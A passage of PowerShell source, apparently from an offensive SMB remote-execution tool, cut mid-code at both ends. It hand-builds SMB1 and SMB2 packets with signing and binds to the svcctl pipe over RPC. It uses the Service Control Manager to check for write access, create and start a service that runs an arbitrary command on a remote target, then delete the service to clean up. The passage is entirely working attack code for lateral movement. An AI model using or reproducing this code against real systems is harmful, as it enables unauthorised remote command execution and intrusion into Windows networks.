$SMB_service_bytes += 0x00,0x00,0x00,0x00 } } $SMB_service_length = [System.BitConverter]::GetBytes($SMB_service.Length + 1) if($CommandCOMSPEC -eq 'Y') { $Command = "%COMSPEC% /C `"" + $Command + "`"" } else { $Command = "`"" + $Command + "`"" } [System.Text.Encoding]::UTF8.GetBytes($Command) | ForEach-Object{$SMBExec_command += "{0:X2}-00-" -f $_} if([Bool]($Command.Length % 2)) { $SMBExec_command += '00-00' } else { $SMBExec_command += '00-00-00-00' } $SMBExec_command_bytes = $SMBExec_command.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} $SMBExec_command_length_bytes = [System.BitConverter]::GetBytes($SMBExec_command_bytes.Length / 2) $SMB_split_index = 4256 if($SMB_version -eq 'SMB1') { $stage = 'TreeConnectAndXRequest' while ($stage -ne 'Exit') { switch ($stage) { 'CheckAccess' { if([System.BitConverter]::ToString($client_receive[108..111]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($client_receive[88..107]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') { $SMB_service_manager_context_handle = $client_receive[88..107] if($SMB_execute) { Write-Verbose "$output_username has Service Control Manager write privilege on $Target" $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data if($SCM_data.Length -lt $SMB_split_index) { $stage = 'CreateServiceW' } else { $stage = 'CreateServiceW_First' } } else { Write-Output "$output_username has Service Control Manager write privilege on $Target" $SMB_close_service_handle_stage = 2 $stage = 'CloseServiceHandle' } } elseif([System.BitConverter]::ToString($client_receive[108..111]) -eq '05-00-00-00') { Write-Output "[-] $output_username does not have Service Control Manager write privilege on $Target" $stage = 'Exit' } else { Write-Output "[-] Something went wrong with $Target" $stage = 'Exit' } } 'CloseRequest' { $packet_SMB_header = New-PacketSMBHeader 0x04 0x18 0x07,0xc8 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 $packet_SMB_header["Signature"] = $SMB_signing_sequence } $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $packet_SMB_data = New-PacketSMBCloseRequest 0x00,0x40 $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $session_key + $SMB_header + $SMB_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null $stage = 'TreeDisconnect' } 'CloseServiceHandle' { if($SMB_close_service_handle_stage -eq 1) { Write-Verbose "Service $SMB_service deleted on $Target" $SMB_close_service_handle_stage++ $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle } else { $stage = 'CloseRequest' $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle } $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 $packet_SMB_header["Signature"] = $SMB_signing_sequence } $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x05,0x00,0x00,0x00 0x00,0x00 0x00,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null } 'CreateAndXRequest' { $SMB_named_pipe_bytes = 0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00 # \svcctl $SMB_tree_ID = $client_receive[28,29] $packet_SMB_header = New-PacketSMBHeader 0xa2 0x18 0x02,0x28 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 $packet_SMB_header["Signature"] = $SMB_signing_sequence } $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $packet_SMB_data = New-PacketSMBNTCreateAndXRequest $SMB_named_pipe_bytes $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $session_key + $SMB_header + $SMB_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null $stage = 'RPCBind' } 'CreateServiceW' { $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 $packet_SMB_header["Signature"] = $SMB_signing_sequence } $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null $stage = 'ReadAndXRequest' $stage_next = 'StartServiceW' } 'CreateServiceW_First' { $SMB_split_stage_final = [Math]::Ceiling($SCM_data.Length / $SMB_split_index) $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 $packet_SMB_header["Signature"] = $SMB_signing_sequence } $SCM_data_first = $SCM_data[0..($SMB_split_index - 1)] $packet_RPC_data = New-PacketRPCRequest 0x01 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_first $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length) $SMB_split_index_tracker = $SMB_split_index $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if($SMB_split_stage_final -le 2) { $stage = 'CreateServiceW_Last' } else { $SMB_split_stage = 2 $stage = 'CreateServiceW_Middle' } } 'CreateServiceW_Middle' { $SMB_split_stage++ $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 $packet_SMB_header["Signature"] = $SMB_signing_sequence } $SCM_data_middle = $SCM_data[$SMB_split_index_tracker..($SMB_split_index_tracker + $SMB_split_index - 1)] $SMB_split_index_tracker += $SMB_split_index $packet_RPC_data = New-PacketRPCRequest 0x00 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_middle $packet_RPC_data["AllocHint"] = [System.BitConverter]::GetBytes($SCM_data.Length - $SMB_split_index_tracker + $SMB_split_index) $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null if($SMB_split_stage -ge $SMB_split_stage_final) { $stage = 'CreateServiceW_Last' } else { $stage = 'CreateServiceW_Middle' } } 'CreateServiceW_Last' { $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x48 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 $packet_SMB_header["Signature"] = $SMB_signing_sequence } $SCM_data_last = $SCM_data[$SMB_split_index_tracker..$SCM_data.Length] $packet_RPC_data = New-PacketRPCRequest 0x02 0 0 0 0x02,0x00,0x00,0x00 0x00,0x00 0x0c,0x00 $SCM_data_last $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null $stage = 'ReadAndXRequest' $stage_next = 'StartServiceW' } 'DeleteServiceW' { if([System.BitConverter]::ToString($client_receive[88..91]) -eq '1d-04-00-00') { Write-Output "[+] Command executed with service $SMB_service on $Target" } elseif([System.BitConverter]::ToString($client_receive[88..91]) -eq '02-00-00-00') { Write-Output "[-] Service $SMB_service failed to start on $Target" } $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 $packet_SMB_header["Signature"] = $SMB_signing_sequence } $packet_SCM_data = New-PacketSCMDeleteServiceW $SMB_service_context_handle $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x04,0x00,0x00,0x00 0x00,0x00 0x02,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null $stage = 'ReadAndXRequest' $stage_next = 'CloseServiceHandle' $SMB_close_service_handle_stage = 1 } 'Logoff' { $packet_SMB_header = New-PacketSMBHeader 0x74 0x18 0x07,0xc8 0x34,0xfe $process_ID $SMB_user_ID if($SMB_signing) { $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 $packet_SMB_header["Signature"] = $SMB_signing_sequence } $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $packet_SMB_data = New-PacketSMBLogoffAndXRequest $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $session_key + $SMB_header + $SMB_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null $stage = 'Exit' } 'OpenSCManagerW' { $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 $packet_SMB_header["Signature"] = $SMB_signing_sequence } $packet_SCM_data = New-PacketSCMOpenSCManagerW $SMB_service_bytes $SMB_service_length $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x0f,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null $stage = 'ReadAndXRequest' $stage_next = 'CheckAccess' } 'ReadAndXRequest' { Start-Sleep -m $Sleep $packet_SMB_header = New-PacketSMBHeader 0x2e 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 $packet_SMB_header["Signature"] = $SMB_signing_sequence } $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $packet_SMB_data = New-PacketSMBReadAndXRequest $SMB_FID $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $session_key + $SMB_header + $SMB_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null $stage = $stage_next } 'RPCBind' { $SMB_FID = $client_receive[42,43] $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 $packet_SMB_header["Signature"] = $SMB_signing_sequence } $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $packet_RPC_data = New-PacketRPCBind 0x48,0x00 1 0x01 0x00,0x00 $named_pipe_UUID 0x02,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID $RPC_data.Length $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null $stage = 'ReadAndXRequest' $stage_next = 'OpenSCManagerW' } 'StartServiceW' { if([System.BitConverter]::ToString($client_receive[112..115]) -eq '00-00-00-00') { Write-Verbose "Service $SMB_service created on $Target" $SMB_service_context_handle = $client_receive[92..111] $packet_SMB_header = New-PacketSMBHeader 0x2f 0x18 0x05,0x28 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 $packet_SMB_header["Signature"] = $SMB_signing_sequence } $packet_SCM_data = New-PacketSCMStartServiceW $SMB_service_context_handle $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x03,0x00,0x00,0x00 0x00,0x00 0x13,0x00 $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $packet_SMB_data = New-PacketSMBWriteAndXRequest $SMB_FID ($RPC_data.Length + $SCM_data.Length) $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $RPC_data_length = $SMB_data.Length + $SCM_data.Length + $RPC_data.Length $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $RPC_data_length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $session_key + $SMB_header + $SMB_data + $RPC_data + $SCM_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + $RPC_data + $SCM_data Write-Verbose "[*] Trying to execute command on $Target" $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null $stage = 'ReadAndXRequest' $stage_next = 'DeleteServiceW' } elseif([System.BitConverter]::ToString($client_receive[112..115]) -eq '31-04-00-00') { Write-Output "[-] Service $SMB_service creation failed on $Target" $stage = 'Exit' } else { Write-Output "[-] Service creation fault context mismatch" $stage = 'Exit' } } 'TreeConnectAndXRequest' { $packet_SMB_header = New-PacketSMBHeader 0x75 0x18 0x01,0x48 0xff,0xff $process_ID $SMB_user_ID if($SMB_signing) { $MD5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 $packet_SMB_header["Signature"] = $SMB_signing_sequence } $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $packet_SMB_data = New-PacketSMBTreeConnectAndXRequest $SMB_path_bytes $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $session_key + $SMB_header + $SMB_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null $stage = 'CreateAndXRequest' } 'TreeDisconnect' { $packet_SMB_header = New-PacketSMBHeader 0x71 0x18 0x07,0xc8 $SMB_tree_ID $process_ID $SMB_user_ID if($SMB_signing) { $packet_SMB_header["Flags2"] = 0x05,0x48 $SMB_signing_counter = $SMB_signing_counter + 2 [Byte[]]$SMB_signing_sequence = [System.BitConverter]::GetBytes($SMB_signing_counter) + 0x00,0x00,0x00,0x00 $packet_SMB_header["Signature"] = $SMB_signing_sequence } $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header $packet_SMB_data = New-PacketSMBTreeDisconnectRequest $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service if($SMB_signing) { $SMB_sign = $session_key + $SMB_header + $SMB_data $SMB_signature = $MD5.ComputeHash($SMB_sign) $SMB_signature = $SMB_signature[0..7] $packet_SMB_header["Signature"] = $SMB_signature $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header } $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data $client_stream.Write($client_send,0,$client_send.Length) > $null $client_stream.Flush() $client_stream.Read($client_receive,0,$client_receive.Length) > $null $stage = 'Logoff' } } } } else { $stage = 'TreeConnect' try { while ($stage -ne 'Exit') { switch ($stage) { 'CheckAccess' { if([System.BitConverter]::ToString($client_receive[128..131]) -eq '00-00-00-00' -and [System.BitConverter]::ToString($client_receive[108..127]) -ne '00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00') { $SMB_service_manager_context_handle = $client_receive[108..127] if($SMB_execute -eq $true) { Write-Verbose "$output_username has Service Control Manager write privilege on $Target" $packet_SCM_data = New-PacketSCMCreateServiceW $SMB_service_manager_context_handle $SMB_service_bytes $SMB_service_length $SMBExec_command_bytes $SMBExec_command_length_bytes $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data if($SCM_data.Length -lt $SMB_split_index) { $stage = 'CreateServiceW' } else { $stage = 'CreateServiceW_First' } } else { Write-Output "[+] $output_username has Service Control Manager write privilege on $Target" $SMB_close_service_handle_stage = 2 $stage = 'CloseServiceHandle' } } elseif([System.BitConverter]::ToString($client_receive[128..131]) -eq '05-00-00-00') { Write-Output "[-] $output_username does not have Service Control Manager write privilege on $Target" $stage = 'Exit' } else { Write-Output "[-] Something went wrong with $Target" $stage = 'Exit' } } 'CloseRequest' { $stage_current = $stage $message_ID++ $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID if($SMB_signing) { $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00 } $packet_SMB2_data = New-PacketSMB2CloseRequest 